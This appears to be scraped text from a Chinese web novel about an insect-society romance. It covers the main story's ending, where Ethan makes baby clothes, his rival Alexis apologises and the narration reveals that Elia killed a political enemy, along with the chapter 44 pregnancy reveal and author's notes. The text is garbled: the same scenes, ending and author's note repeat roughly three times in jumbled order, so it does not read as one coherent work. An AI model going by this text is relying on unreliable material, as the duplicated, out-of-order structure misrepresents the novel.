欣赏着新做好的帽子,伊森忍不住笑道:“希望宝宝会喜欢我送他的礼物。”
【绝对会喜欢的!】AI管家的情绪价值一直给的很足,不遗余力地夸赞:【小森世界第一棒!幼崽一定会喜欢的!】
“嘿嘿~”
心情愉快地将制作过程上传到星网,伊森清点着堆在面前的布料,准备做些其他东西。
前段时间的掉马让他备受关注,最近他都不敢直播,甚至连星网都暂时戒掉,但制作过程却一个没落的全部上传。
每上传一个视频,似乎就离宝宝出生的时间近一点。
他很享受这份等待的过程。
在脑海里打了个草图,伊森拿出纸笔开始画图样,画着画着,一道阴影落在桌面上。
今天天气不错,他没待在工作间,而是在花园亭子里。可即便不在工作间也不会有虫会在他认真“工作”的时候来打扰他。
抬起头,伊森看见一个还算熟悉的面容。
“阿列克斯?”
在圣殿中差点被这只雌虫“绑架”后,对方就被愤怒的家长打包领走,之后爱德里安家族给他送了许多赔偿礼物。
大概是阿列克斯在他心里和“蠢”字画上了等号,他对这只雌虫其实没有太大恶感。
不过会在自家庄园里见到对方还是让他感到惊讶。
伊森下意识以为,出了那样的事情,埃里亚应该不会再让阿列克斯出现在他面前。
所以是他感觉错了?
天啦,他潜意识里居然把埃里亚当做小心眼的雌虫吗?
他真是太坏了!
狠狠唾弃了一把自己,伊森稳住心神,问:“你怎么会出现在这里?埃里亚呢?”
“他在和我的雄父商议一些事情。”
阿列克斯自觉在无虫的石凳上坐下,而后安静下来,和之前表现出的咋呼完全不同。他的手肘撑在石桌上,眼睛一眨不眨地盯着面前的雄虫,直到把对面盯着有些难受,拿着材料准备跑路时才说:“我想和你说点事情。”
顿了顿,他补充道:“埃里亚·雷蒙德同意了。”
或许是他提到了埃里亚,金发雄虫停下收拾东西的动作,说:“好吧,既然埃里亚都开口了,那一定是有重要的事情。所以你想和我说什么呢?”
这配合的模样让阿列克斯感到一阵憋屈,他暂时忘记自己想说的事情,问:“星网上的事,你是故意的吗?”
金发雄虫在直播间露脸后,在某些虫不那么走心的遮掩下,身份很快被扒了出来。同时被扒出来的还有他和埃里亚·雷蒙德的相爱路程。
当事虫没有承认,反而在有意无意的“压消息”,爆料虫却一个接一个冒出来。
或是网红小店的店主发出的打卡照片,或是自称雄保会回访工作虫员发出的回访照片,或是意外撞见过当事虫的路虫…
总之,在大家的齐心协力下,一个美好又温暖的爱情故事被拼凑了出来。
当网友们的注意力被所谓的“爱情故事”吸引时,直播平台上的某个私虫账号被扒出是当事雄虫的小号,账号上时不时发布一些未经剪辑的小视频。
是雄虫做手工的视频,画面里只露出一双手,大部分时候都是无声的,偶尔会响起模糊的自言自语或者与某只雌虫对话的声音。
很普通的视频。
但就是这种可以说粗糙的视频向大家展示了一对夫夫对幼崽的全部期待,那份温柔透过视频传递出来,让所有观看的虫都感受到。
然后大家忽然发现,即便是身居高位的高等雌虫,即便是养尊处优的雄虫,在迎接即将到来的新生命时,和普通虫也没什么两样。
回过神来,埃里亚·雷蒙德迅速以一种亲切的形象被大众接受,从高高在上的“圆桌议员”和距离遥远的“英雄”变成了身边的某只虫,无声渗透进每只虫心里。
不仅如此,雄虫的视频还带动了广大网友对埃里亚·雷蒙德肚子里幼崽的期待。这种时候,要是出现半点闪失都会引起民愤,直接让那些不满对方上位,想要下黑手的虫收敛起来。
这一系列变化都要追溯到雄虫不小心撞翻了直播镜头。
阿列克斯盯着面前的金发雄虫,很想知道对方当初是不是故意的,或者说…有没有得到某只雌虫的授意。
但对上雄虫懵逼的视线,他放弃了。
他早该想到,某只雄虫根本没那个脑子。就算真有其他虫授意,对方也察觉不出来。
“没事,当我瞎说吧。”阿列克斯不再想东想西,十指交叉,眼睫下垂,语气有些惆怅:“我想和你说的是…你还记得兰珈·威尔逊吗?他曾和你一起参加花车巡游。”
得到雄虫点头后,他继续道:“兰珈和我的朋友科温是未婚夫夫,当时去参加花车巡游也是因为吵架,之后又和好了。我以为很快会接到他们结婚的消息,但就在三天前…科温告诉我他们取消婚约了。”
“取消婚约的原因是兰珈发现科温在接触一些家族,提前帮他物色雌侍。他们大吵一架后兰珈住进了圣殿,似乎和威尔逊家族都闹崩了。”
“当然,取消的是和兰珈的婚约,和威尔逊家族的婚约依旧作数,只是换成了另一只雄虫。你应该也认识,拉斐尔,当初也参加了花车巡游。”
“科温说虽然拉斐尔等级差一些,但也是威尔逊家嫡系,并且雌父一脉势力更大,虽然对虫崽等级有些影响,但他管不了以后,毕竟他们二军最近正在换届期,他需要足够的资源支撑他顺利上位。”
“我觉得有些荒谬,我一直以为兰珈和科温是相爱的,我没想到他们会就这样分开…你懂我的意思吗?”
金发雄虫点头又摇头,眼里写满了迷糊,但还是说:“所以你找我是想让我站在雄虫的角度帮你分析一下朋友间的感情问题吗?”
阿列克斯:“…”
阿列克斯:“我的意思是,如果你遇到像科温一样的雌虫,你会怎么办?”
“可我不会呀。”金发雄虫说:“埃里亚和你的朋友可不一样。”
阿列克斯咬咬牙,继续道:“我的意思是,如果日后你…”
“阿列克斯,你真的是为了我好吗?”雄虫打断了他的话,这似乎是性格柔软的雄虫第一次这样强硬地打断他,“我相信你没有恶意,但我觉得你从未认真倾听过我的声音。现在,我再说一次——”
雄虫用那双清澈透亮的眼睛看着他,认真道:“我很幸福。”
阿列克斯的脑海中闪过珀对他的警告——
【不要把伊森当做蠢货。你真以为他什么都不知道吗?】
他哑口无言。
他想和埃里亚·雷蒙德较量,他觉得和等级下跌的雌虫比力量胜之不武,所以自顾自地将雄虫当做较量的“工具”。
他真的是为雄虫好吗?
他固执的希望雄虫离开埃里亚·雷蒙德,有多少是出于善意,又有多少是出于当初被雄父丢下的不甘呢?
同样的情况,自己和雌父被雄父抛下,凭什么埃里亚·雷蒙德能幸免?
“幼稚的把你当做比赛工具,我很抱歉。”
阿列克斯低头道歉,真正认真地看向面前的雄虫。
雄虫很漂亮,时不时因为害羞说不出话,却能靠自己努力生活,既不物质也不虚荣。脑子笨笨的,被骗了也不会生气,但并不让虫讨厌。
这是一只和雄父完全不同的雄虫。
阿列克斯忽然产生了解雄虫的强烈欲望:“我为我过去的行为道歉,以后我可以…”
“两位,聊得如何?”
另一道声音打断了两虫的交流。
金发雄虫眼睛一亮,欢快地扑进来虫的怀里:“埃里亚!你忙完了吗?”
“久等了,待会儿我们一起去布置宝宝的房间好吗?今天到了一些新的家具。”
“嗯嗯!”
牵着雄虫的手,雌虫扭头看向一旁的阿列克斯:“康斯坦丁阁下在等你。”
是催促他离开的意思。
阿列克斯知道。
若是以往他或许会因为被对方当成“小孩子”大闹一番,但被狠狠收拾一顿的他总算学会了冷静。
这段时间不仅是他,连爱德里安家族和他的雄父都受到了影响。这份动荡让他真正意识到,埃里亚·雷蒙德到底拥有多大的能量。
曾经他自傲于S级的等级和无与伦比的战斗天赋,可拥有这些的他却无力阻止埃里亚·雷蒙德的发难。
本来还想最后挣扎一番在雄虫身上扳回一局,但现在看来他输得彻底。
怪不得埃里亚·雷蒙德那么大方地答应了他和雄虫最后聊几句的请求,想来是对结局早有预料。
那家伙其实是在对他炫耀吧?
“我们该走了,阿列克斯。”
布兰登拍了拍孩子的后背。
顺着孩子的视线,他看向姿态亲昵的两只虫,毫不留情道:“别想了。阿列克斯,你没有机会。”
阿列克斯:“雄父,我没有。”
“好吧,你没有。”布兰登微笑着,示意孩子跟上自己的脚步,“走吧,当心某个家伙忍不住再使点手段,到时候你在边境星的服役时间可就不止二十年了。”
阿列克斯:“…”
阿列克斯:“您似乎很看好他和伊森的感情。”
布兰登:“毕竟他们看上去很幸福。”
年轻的雌虫没有接话,但某个瞬间,他对从小视作目标的那只雌虫产生了名为羡慕的情绪。
在相反的方向,金发雄虫牵着自己的雌君,一蹦一条地沐浴在阳光里。
他眯了眯眼睛,感慨道:“这样的日子真幸福啊~”
他的雌君笑眯眯回道:“是啊,真幸福。”
因为如此幸福,所以雌虫并未如自己威胁政敌时说的那般让“堕化”的政敌杀死家虫,而是干脆利落地送对方上了西天。
潘多拉的魔盒没有打开,某些原则没有打破。
反派觉得现在的生活不错。
反派他不想毁灭世界——
作者有话说:故事到这里就告一段落啦,在作者没有写下的时间线里,主角们会一直幸福下去~
正文告一段落,下章是番外,关于崽的~
顺便推推预收《重生,替身最好的医美》,换个口味的主角~
专栏的其他几个预收应该都是小甜文,和这本风格一致的是《白熊先生恋爱了》,不过那本算主受,感兴趣的话可以蹲蹲~
爱大家,么么~《 》
【正文完】
第44章 第 44 章 幸福吧!少年……
直播间的动荡伊森完全不知道, 他满脑子都是找到埃里亚。起身后的第一件事就是冲出房间,一路直奔大门。
直到跑过一层又一层楼梯到大门前,看见室外喷泉时, 他才清醒过来似的停下脚步。
“我是傻了吗, 直接用光脑联系啊!”
伊森想要编辑信息, 但临到头却不知道说些什么, 一段话删删改改无数遍, 甚至打字的双手都在颤抖。
打不好字,要不打语音吧?
可埃里亚在工作, 还是议会那种正式的地方,会不会打扰到对方?
【伊森, 随时联系我,只要你需要。】
想起埃里亚的话, 他放下纠结,径直拨通了语音。
活泼的音乐响起, 从大门飘进伊森的耳朵里,和光脑里的声音重叠在一起。
伊森抬头,心心念念的雌虫就站在门口, 朝他露出一个笑:“我在这里, 伊森。”
“啪!”
光脑掉在地上,但他没有管, 飞快朝前方的身影扑过去。
“埃里亚!”
在雌虫颈窝蹭了蹭,伊森抬起头, 声音有些结巴:“那个…那个…珀说…直播间说…我,我,你,你…你是不是…我们…”
雌虫温柔地将他的金发拂至耳后, 温声道:“是的,我怀孕了。”
伊森感觉脑子有点晕,眼前似乎出现许许多多红色小花,蹦蹦跳跳的,好像在庆祝似的。
“伊森,你要当雄父了。”
红丝小花越来越多,铺天盖地的仿佛要将他淹没。
伊森闭上眼,埋进自家雌虫怀里,缓了好一会儿,才用有些颤抖的声音说:“埃里亚,我觉得有些不真实。”
“哪里不真实。”埃里亚捧起他的脸,“看着我伊森。”
他听话地抬头,对上雌虫那双沉稳又坚定的眼睛。
“你是我的雄虫,我们结婚了,并且即将拥有一个虫崽。”
“这就是真实。”
雌虫的声音将伊森从云端拽回地面,心忽然踏实下来。
是的,一切都是真实的。
他在新的世界拥有了爱他的伴侣,并且即将拥有一个孩子。
他圈住雌虫的脖子,忍不住感慨:“埃里亚,我觉得我好幸运,能拥有现在生活。”
对方亲了亲他的眼睛,问:“像现在这样就行了吗?”
“嗯!”伊森用力点头,“我已经足够幸福,太贪心的话是会被收走幸运的。”
“不会。”
“嗯?”
埃里亚低头吻上雄虫的唇,轻声道:“伊森,幸运会一直眷顾你。”
他会让他的雄虫永远幸运。
他会让他的雄虫永远幸福。
*
自从知道埃里亚怀孕了,伊森瞬间进入打鸡血模式,他觉得自己应该承担起雄父的责任,要在这段时间照顾好雌虫,以及即将出生的幼崽。
可事与愿违,大概是压力太大,他时不时想起蓝星上那些一尸两命、产后虚弱的案例,焦虑的出现失眠症状。
结果就是他一点没照顾埃里亚,反而需要怀孕的埃里亚照顾生病的他。
伊森:QwQ
失落了一个晚上,伊森接受了自己是个小废物的事实,没再想些有的没的。他转换思路,开始想给他的孩子做点什么。
他决定为自己的孩子亲手编织出生后的衣物。
他把自己的想法告诉了埃里亚,对方十分支持,并且提供了一批据说十分适合新生儿衣服的制作原料。
伊森不知道那堆原料的价值,但直觉告诉他一定非常贵。
不过现在的他已经是个合格的“捞虫”了,能够毫无负担地使用埃里亚给他的所有东西,即便将那批原料全都报废也不会感到惶恐。
当然,作为一个手工区主播,他技术不错,报废率很低。
欣赏着新做好的帽子,伊森忍不住笑道:“希望宝宝会喜欢我送他的礼物。”
【绝对会喜欢的!】AI管家的情绪价值一直给的很足,不遗余力地夸赞:【小森世界第一棒!幼崽一定会喜欢的!】
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在脑海里打了个草图,伊森拿出纸笔开始画图样,画着画着,一道阴影落在桌面上。
今天天气不错,他没待在工作间,而是在花园亭子里。可即便不在工作间也不会有虫会在他认真“工作”的时候来打扰他。
抬起头,伊森看见一个还算熟悉的面容。
“阿列克斯?”
在圣殿中差点被这只雌虫“绑架”后,对方就被愤怒的家长打包领走,之后爱德里安家族给他送了许多赔偿礼物。
大概是阿列克斯在他心里和“蠢”字画上了等号,他对这只雌虫其实没有太大恶感。
不过会在自家庄园里见到对方还是让他感到惊讶。
伊森下意识以为,出了那样的事情,埃里亚应该不会再让阿列克斯出现在他面前。
所以是他感觉错了?
天啦,他潜意识里居然把埃里亚当做小心眼的雌虫吗?
他真是太坏了!
狠狠唾弃了一把自己,伊森稳住心神,问:“你怎么会出现在这里?埃里亚呢?”
“他在和我的雄父商议一些事情。”
阿列克斯自觉在无虫的石凳上坐下,而后安静下来,和之前表现出的咋呼完全不同。他的手肘撑在石桌上,眼睛一眨不眨地盯着面前的雄虫,直到把对面盯着有些难受,拿着材料准备跑路时才说:“我想和你说点事情。”
顿了顿,他补充道:“埃里亚·雷蒙德同意了。”
或许是他提到了埃里亚,金发雄虫停下收拾东西的动作,说:“好吧,既然埃里亚都开口了,那一定是有重要的事情。所以你想和我说什么呢?”
这配合的模样让阿列克斯感到一阵憋屈,他暂时忘记自己想说的事情,问:“星网上的事,你是故意的吗?”
金发雄虫在直播间露脸后,在某些虫不那么走心的遮掩下,身份很快被扒了出来。同时被扒出来的还有他和埃里亚·雷蒙德的相爱路程。
当事虫没有承认,反而在有意无意的“压消息”,爆料虫却一个接一个冒出来。
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总之,在大家的齐心协力下,一个美好又温暖的爱情故事被拼凑了出来。
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是雄虫做手工的视频,画面里只露出一双手,大部分时候都是无声的,偶尔会响起模糊的自言自语或者与某只雌虫对话的声音。
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但就是这种可以说粗糙的视频向大家展示了一对夫夫对幼崽的全部期待,那份温柔透过视频传递出来,让所有观看的虫都感受到。
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回过神来,埃里亚·雷蒙德迅速以一种亲切的形象被大众接受,从高高在上的“圆桌议员”和距离遥远的“英雄”变成了身边的某只虫,无声渗透进每只虫心里。
不仅如此,雄虫的视频还带动了广大网友对埃里亚·雷蒙德肚子里幼崽的期待。这种时候,要是出现半点闪失都会引起民愤,直接让那些不满对方上位,想要下黑手的虫收敛起来。
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阿列克斯盯着面前的金发雄虫,很想知道对方当初是不是故意的,或者说…有没有得到某只雌虫的授意。
但对上雄虫懵逼的视线,他放弃了。
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“没事,当我瞎说吧。”阿列克斯不再想东想西,十指交叉,眼睫下垂,语气有些惆怅:“我想和你说的是…你还记得兰珈·威尔逊吗?他曾和你一起参加花车巡游。”
得到雄虫点头后,他继续道:“兰珈和我的朋友科温是未婚夫夫,当时去参加花车巡游也是因为吵架,之后又和好了。我以为很快会接到他们结婚的消息,但就在三天前…科温告诉我他们取消婚约了。”
“取消婚约的原因是兰珈发现科温在接触一些家族,提前帮他物色雌侍。他们大吵一架后兰珈住进了圣殿,似乎和威尔逊家族都闹崩了。”
“当然,取消的是和兰珈的婚约,和威尔逊家族的婚约依旧作数,只是换成了另一只雄虫。你应该也认识,拉斐尔,当初也参加了花车巡游。”
“科温说虽然拉斐尔等级差一些,但也是威尔逊家嫡系,并且雌父一脉势力更大,虽然对虫崽等级有些影响,但他管不了以后,毕竟他们二军最近正在换届期,他需要足够的资源支撑他顺利上位。”
“我觉得有些荒谬,我一直以为兰珈和科温是相爱的,我没想到他们会就这样分开…你懂我的意思吗?”
金发雄虫点头又摇头,眼里写满了迷糊,但还是说:“所以你找我是想让我站在雄虫的角度帮你分析一下朋友间的感情问题吗?”
阿列克斯:“…”
阿列克斯:“我的意思是,如果你遇到像科温一样的雌虫,你会怎么办?”
“可我不会呀。”金发雄虫说:“埃里亚和你的朋友可不一样。”
阿列克斯咬咬牙,继续道:“我的意思是,如果日后你…”
“阿列克斯,你真的是为了我好吗?”雄虫打断了他的话,这似乎是性格柔软的雄虫第一次这样强硬地打断他,“我相信你没有恶意,但我觉得你从未认真倾听过我的声音。现在,我再说一次——”
雄虫用那双清澈透亮的眼睛看着他,认真道:“我很幸福。”
阿列克斯的脑海中闪过珀对他的警告——
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他真的是为雄虫好吗?
他固执的希望雄虫离开埃里亚·雷蒙德,有多少是出于善意,又有多少是出于当初被雄父丢下的不甘呢?
同样的情况,自己和雌父被雄父抛下,凭什么埃里亚·雷蒙德能幸免?
“幼稚的把你当做比赛工具,我很抱歉。”
阿列克斯低头道歉,真正认真地看向面前的雄虫。
雄虫很漂亮,时不时因为害羞说不出话,却能靠自己努力生活,既不物质也不虚荣。脑子笨笨的,被骗了也不会生气,但并不让虫讨厌。
这是一只和雄父完全不同的雄虫。
阿列克斯忽然产生了解雄虫的强烈欲望:“我为我过去的行为道歉,以后我可以…”
“两位,聊得如何?”
另一道声音打断了两虫的交流。
金发雄虫眼睛一亮,欢快地扑进来虫的怀里:“埃里亚!你忙完了吗?”
“久等了,待会儿我们一起去布置宝宝的房间好吗?今天到了一些新的家具。”
“嗯嗯!”
牵着雄虫的手,雌虫扭头看向一旁的阿列克斯:“康斯坦丁阁下在等你。”
是催促他离开的意思。
阿列克斯知道。
若是以往他或许会因为被对方当成“小孩子”大闹一番,但被狠狠收拾一顿的他总算学会了冷静。
这段时间不仅是他,连爱德里安家族和他的雄父都受到了影响。这份动荡让他真正意识到,埃里亚·雷蒙德到底拥有多大的能量。
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本来还想最后挣扎一番在雄虫身上扳回一局,但现在看来他输得彻底。
怪不得埃里亚·雷蒙德那么大方地答应了他和雄虫最后聊几句的请求,想来是对结局早有预料。
那家伙其实是在对他炫耀吧?
“我们该走了,阿列克斯。”
布兰登拍了拍孩子的后背。
顺着孩子的视线,他看向姿态亲昵的两只虫,毫不留情道:“别想了。阿列克斯,你没有机会。”
阿列克斯:“雄父,我没有。”
“好吧,你没有。”布兰登微笑着,示意孩子跟上自己的脚步,“走吧,当心某个家伙忍不住再使点手段,到时候你在边境星的服役时间可就不止二十年了。”
阿列克斯:“…”
阿列克斯:“您似乎很看好他和伊森的感情。”
布兰登:“毕竟他们看上去很幸福。”
年轻的雌虫没有接话,但某个瞬间,他对从小视作目标的那只雌虫产生了名为羡慕的情绪。
在相反的方向,金发雄虫牵着自己的雌君,一蹦一条地沐浴在阳光里。
他眯了眯眼睛,感慨道:“这样的日子真幸福啊~”
他的雌君笑眯眯回道:“是啊,真幸福。”
因为如此幸福,所以雌虫并未如自己威胁政敌时说的那般让“堕化”的政敌杀死家虫,而是干脆利落地送对方上了西天。
潘多拉的魔盒没有打开,某些原则没有打破。
反派觉得现在的生活不错。
反派他不想毁灭世界——
作者有话说:故事到这里就告一段落啦,在作者没有写下的时间线里,主角们会一直幸福下去~
正文告一段落,下章是番外,关于崽的~
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专栏的其他几个预收应该都是小甜文,和这本风格一致的是《白熊先生恋爱了》,不过那本算主受,感兴趣的话可以蹲蹲~
爱大家,么么~《 》
【正文完】
第44章 第 44 章 幸福吧!少年……
直播间的动荡伊森完全不知道, 他满脑子都是找到埃里亚。起身后的第一件事就是冲出房间,一路直奔大门。
直到跑过一层又一层楼梯到大门前,看见室外喷泉时, 他才清醒过来似的停下脚步。
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打不好字,要不打语音吧?
可埃里亚在工作, 还是议会那种正式的地方,会不会打扰到对方?
【伊森, 随时联系我,只要你需要。】
想起埃里亚的话, 他放下纠结,径直拨通了语音。
活泼的音乐响起, 从大门飘进伊森的耳朵里,和光脑里的声音重叠在一起。
伊森抬头,心心念念的雌虫就站在门口, 朝他露出一个笑:“我在这里, 伊森。”
“啪!”
光脑掉在地上,但他没有管, 飞快朝前方的身影扑过去。
“埃里亚!”
在雌虫颈窝蹭了蹭,伊森抬起头, 声音有些结巴:“那个…那个…珀说…直播间说…我,我,你,你…你是不是…我们…”
雌虫温柔地将他的金发拂至耳后, 温声道:“是的,我怀孕了。”
伊森感觉脑子有点晕,眼前似乎出现许许多多红色小花,蹦蹦跳跳的,好像在庆祝似的。
“伊森,你要当雄父了。”
红丝小花越来越多,铺天盖地的仿佛要将他淹没。
伊森闭上眼,埋进自家雌虫怀里,缓了好一会儿,才用有些颤抖的声音说:“埃里亚,我觉得有些不真实。”
“哪里不真实。”埃里亚捧起他的脸,“看着我伊森。”
他听话地抬头,对上雌虫那双沉稳又坚定的眼睛。
“你是我的雄虫,我们结婚了,并且即将拥有一个虫崽。”
“这就是真实。”
雌虫的声音将伊森从云端拽回地面,心忽然踏实下来。
是的,一切都是真实的。
他在新的世界拥有了爱他的伴侣,并且即将拥有一个孩子。
他圈住雌虫的脖子,忍不住感慨:“埃里亚,我觉得我好幸运,能拥有现在生活。”
对方亲了亲他的眼睛,问:“像现在这样就行了吗?”
“嗯!”伊森用力点头,“我已经足够幸福,太贪心的话是会被收走幸运的。”
“不会。”
“嗯?”
埃里亚低头吻上雄虫的唇,轻声道:“伊森,幸运会一直眷顾你。”
他会让他的雄虫永远幸运。
他会让他的雄虫永远幸福。
*
自从知道埃里亚怀孕了,伊森瞬间进入打鸡血模式,他觉得自己应该承担起雄父的责任,要在这段时间照顾好雌虫,以及即将出生的幼崽。
可事与愿违,大概是压力太大,他时不时想起蓝星上那些一尸两命、产后虚弱的案例,焦虑的出现失眠症状。
结果就是他一点没照顾埃里亚,反而需要怀孕的埃里亚照顾生病的他。
伊森:QwQ
失落了一个晚上,伊森接受了自己是个小废物的事实,没再想些有的没的。他转换思路,开始想给他的孩子做点什么。
他决定为自己的孩子亲手编织出生后的衣物。
他把自己的想法告诉了埃里亚,对方十分支持,并且提供了一批据说十分适合新生儿衣服的制作原料。
伊森不知道那堆原料的价值,但直觉告诉他一定非常贵。
不过现在的他已经是个合格的“捞虫”了,能够毫无负担地使用埃里亚给他的所有东西,即便将那批原料全都报废也不会感到惶恐。
当然,作为一个手工区主播,他技术不错,报废率很低。
欣赏着新做好的帽子,伊森忍不住笑道:“希望宝宝会喜欢我送他的礼物。”
【绝对会喜欢的!】AI管家的情绪价值一直给的很足,不遗余力地夸赞:【小森世界第一棒!幼崽一定会喜欢的!】
“嘿嘿~”
心情愉快地将制作过程上传到星网,伊森清点着堆在面前的布料,准备做些其他东西。
前段时间的掉马让他备受关注,最近他都不敢直播,甚至连星网都暂时戒掉,但制作过程却一个没落的全部上传。
每上传一个视频,似乎就离宝宝出生的时间近一点。
他很享受这份等待的过程。
在脑海里打了个草图,伊森拿出纸笔开始画图样,画着画着,一道阴影落在桌面上。
今天天气不错,他没待在工作间,而是在花园亭子里。可即便不在工作间也不会有虫会在他认真“工作”的时候来打扰他。
抬起头,伊森看见一个还算熟悉的面容。
“阿列克斯?”
在圣殿中差点被这只雌虫“绑架”后,对方就被愤怒的家长打包领走,之后爱德里安家族给他送了许多赔偿礼物。
大概是阿列克斯在他心里和“蠢”字画上了等号,他对这只雌虫其实没有太大恶感。
不过会在自家庄园里见到对方还是让他感到惊讶。
伊森下意识以为,出了那样的事情,埃里亚应该不会再让阿列克斯出现在他面前。
所以是他感觉错了?
天啦,他潜意识里居然把埃里亚当做小心眼的雌虫吗?
他真是太坏了!
狠狠唾弃了一把自己,伊森稳住心神,问:“你怎么会出现在这里?埃里亚呢?”
“他在和我的雄父商议一些事情。”
阿列克斯自觉在无虫的石凳上坐下,而后安静下来,和之前表现出的咋呼完全不同。他的手肘撑在石桌上,眼睛一眨不眨地盯着面前的雄虫,直到把对面盯着有些难受,拿着材料准备跑路时才说:“我想和你说点事情。”
顿了顿,他补充道:“埃里亚·雷蒙德同意了。”
或许是他提到了埃里亚,金发雄虫停下收拾东西的动作,说:“好吧,既然埃里亚都开口了,那一定是有重要的事情。所以你想和我说什么呢?”
这配合的模样让阿列克斯感到一阵憋屈,他暂时忘记自己想说的事情,问:“星网上的事,你是故意的吗?”
金发雄虫在直播间露脸后,在某些虫不那么走心的遮掩下,身份很快被扒了出来。同时被扒出来的还有他和埃里亚·雷蒙德的相爱路程。
当事虫没有承认,反而在有意无意的“压消息”,爆料虫却一个接一个冒出来。
或是网红小店的店主发出的打卡照片,或是自称雄保会回访工作虫员发出的回访照片,或是意外撞见过当事虫的路虫…
总之,在大家的齐心协力下,一个美好又温暖的爱情故事被拼凑了出来。
当网友们的注意力被所谓的“爱情故事”吸引时,直播平台上的某个私虫账号被扒出是当事雄虫的小号,账号上时不时发布一些未经剪辑的小视频。
是雄虫做手工的视频,画面里只露出一双手,大部分时候都是无声的,偶尔会响起模糊的自言自语或者与某只雌虫对话的声音。
很普通的视频。
但就是这种可以说粗糙的视频向大家展示了一对夫夫对幼崽的全部期待,那份温柔透过视频传递出来,让所有观看的虫都感受到。
然后大家忽然发现,即便是身居高位的高等雌虫,即便是养尊处优的雄虫,在迎接即将到来的新生命时,和普通虫也没什么两样。
回过神来,埃里亚·雷蒙德迅速以一种亲切的形象被大众接受,从高高在上的“圆桌议员”和距离遥远的“英雄”变成了身边的某只虫,无声渗透进每只虫心里。
不仅如此,雄虫的视频还带动了广大网友对埃里亚·雷蒙德肚子里幼崽的期待。这种时候,要是出现半点闪失都会引起民愤,直接让那些不满对方上位,想要下黑手的虫收敛起来。
这一系列变化都要追溯到雄虫不小心撞翻了直播镜头。
阿列克斯盯着面前的金发雄虫,很想知道对方当初是不是故意的,或者说…有没有得到某只雌虫的授意。
但对上雄虫懵逼的视线,他放弃了。
他早该想到,某只雄虫根本没那个脑子。就算真有其他虫授意,对方也察觉不出来。
“没事,当我瞎说吧。”阿列克斯不再想东想西,十指交叉,眼睫下垂,语气有些惆怅:“我想和你说的是…你还记得兰珈·威尔逊吗?他曾和你一起参加花车巡游。”
得到雄虫点头后,他继续道:“兰珈和我的朋友科温是未婚夫夫,当时去参加花车巡游也是因为吵架,之后又和好了。我以为很快会接到他们结婚的消息,但就在三天前…科温告诉我他们取消婚约了。”
“取消婚约的原因是兰珈发现科温在接触一些家族,提前帮他物色雌侍。他们大吵一架后兰珈住进了圣殿,似乎和威尔逊家族都闹崩了。”
“当然,取消的是和兰珈的婚约,和威尔逊家族的婚约依旧作数,只是换成了另一只雄虫。你应该也认识,拉斐尔,当初也参加了花车巡游。”
“科温说虽然拉斐尔等级差一些,但也是威尔逊家嫡系,并且雌父一脉势力更大,虽然对虫崽等级有些影响,但他管不了以后,毕竟他们二军最近正在换届期,他需要足够的资源支撑他顺利上位。”
“我觉得有些荒谬,我一直以为兰珈和科温是相爱的,我没想到他们会就这样分开…你懂我的意思吗?”
金发雄虫点头又摇头,眼里写满了迷糊,但还是说:“所以你找我是想让我站在雄虫的角度帮你分析一下朋友间的感情问题吗?”
阿列克斯:“…”
阿列克斯:“我的意思是,如果你遇到像科温一样的雌虫,你会怎么办?”
“可我不会呀。”金发雄虫说:“埃里亚和你的朋友可不一样。”
阿列克斯咬咬牙,继续道:“我的意思是,如果日后你…”
“阿列克斯,你真的是为了我好吗?”雄虫打断了他的话,这似乎是性格柔软的雄虫第一次这样强硬地打断他,“我相信你没有恶意,但我觉得你从未认真倾听过我的声音。现在,我再说一次——”
雄虫用那双清澈透亮的眼睛看着他,认真道:“我很幸福。”
阿列克斯的脑海中闪过珀对他的警告——
【不要把伊森当做蠢货。你真以为他什么都不知道吗?】
他哑口无言。
他想和埃里亚·雷蒙德较量,他觉得和等级下跌的雌虫比力量胜之不武,所以自顾自地将雄虫当做较量的“工具”。
他真的是为雄虫好吗?
他固执的希望雄虫离开埃里亚·雷蒙德,有多少是出于善意,又有多少是出于当初被雄父丢下的不甘呢?
同样的情况,自己和雌父被雄父抛下,凭什么埃里亚·雷蒙德能幸免?
“幼稚的把你当做比赛工具,我很抱歉。”
阿列克斯低头道歉,真正认真地看向面前的雄虫。
雄虫很漂亮,时不时因为害羞说不出话,却能靠自己努力生活,既不物质也不虚荣。脑子笨笨的,被骗了也不会生气,但并不让虫讨厌。
这是一只和雄父完全不同的雄虫。
阿列克斯忽然产生了解雄虫的强烈欲望:“我为我过去的行为道歉,以后我可以…”
“两位,聊得如何?”
另一道声音打断了两虫的交流。
金发雄虫眼睛一亮,欢快地扑进来虫的怀里:“埃里亚!你忙完了吗?”
“久等了,待会儿我们一起去布置宝宝的房间好吗?今天到了一些新的家具。”
“嗯嗯!”
牵着雄虫的手,雌虫扭头看向一旁的阿列克斯:“康斯坦丁阁下在等你。”
是催促他离开的意思。
阿列克斯知道。
若是以往他或许会因为被对方当成“小孩子”大闹一番,但被狠狠收拾一顿的他总算学会了冷静。
这段时间不仅是他,连爱德里安家族和他的雄父都受到了影响。这份动荡让他真正意识到,埃里亚·雷蒙德到底拥有多大的能量。
曾经他自傲于S级的等级和无与伦比的战斗天赋,可拥有这些的他却无力阻止埃里亚·雷蒙德的发难。
本来还想最后挣扎一番在雄虫身上扳回一局,但现在看来他输得彻底。
怪不得埃里亚·雷蒙德那么大方地答应了他和雄虫最后聊几句的请求,想来是对结局早有预料。
那家伙其实是在对他炫耀吧?
“我们该走了,阿列克斯。”
布兰登拍了拍孩子的后背。
顺着孩子的视线,他看向姿态亲昵的两只虫,毫不留情道:“别想了。阿列克斯,你没有机会。”
阿列克斯:“雄父,我没有。”
“好吧,你没有。”布兰登微笑着,示意孩子跟上自己的脚步,“走吧,当心某个家伙忍不住再使点手段,到时候你在边境星的服役时间可就不止二十年了。”
阿列克斯:“…”
阿列克斯:“您似乎很看好他和伊森的感情。”
布兰登:“毕竟他们看上去很幸福。”
年轻的雌虫没有接话,但某个瞬间,他对从小视作目标的那只雌虫产生了名为羡慕的情绪。
在相反的方向,金发雄虫牵着自己的雌君,一蹦一条地沐浴在阳光里。
他眯了眯眼睛,感慨道:“这样的日子真幸福啊~”
他的雌君笑眯眯回道:“是啊,真幸福。”
因为如此幸福,所以雌虫并未如自己威胁政敌时说的那般让“堕化”的政敌杀死家虫,而是干脆利落地送对方上了西天。
潘多拉的魔盒没有打开,某些原则没有打破。
反派觉得现在的生活不错。
反派他不想毁灭世界——
作者有话说:故事到这里就告一段落啦,在作者没有写下的时间线里,主角们会一直幸福下去~
正文告一段落,下章是番外,关于崽的~
顺便推推预收《重生,替身最好的医美》,换个口味的主角~
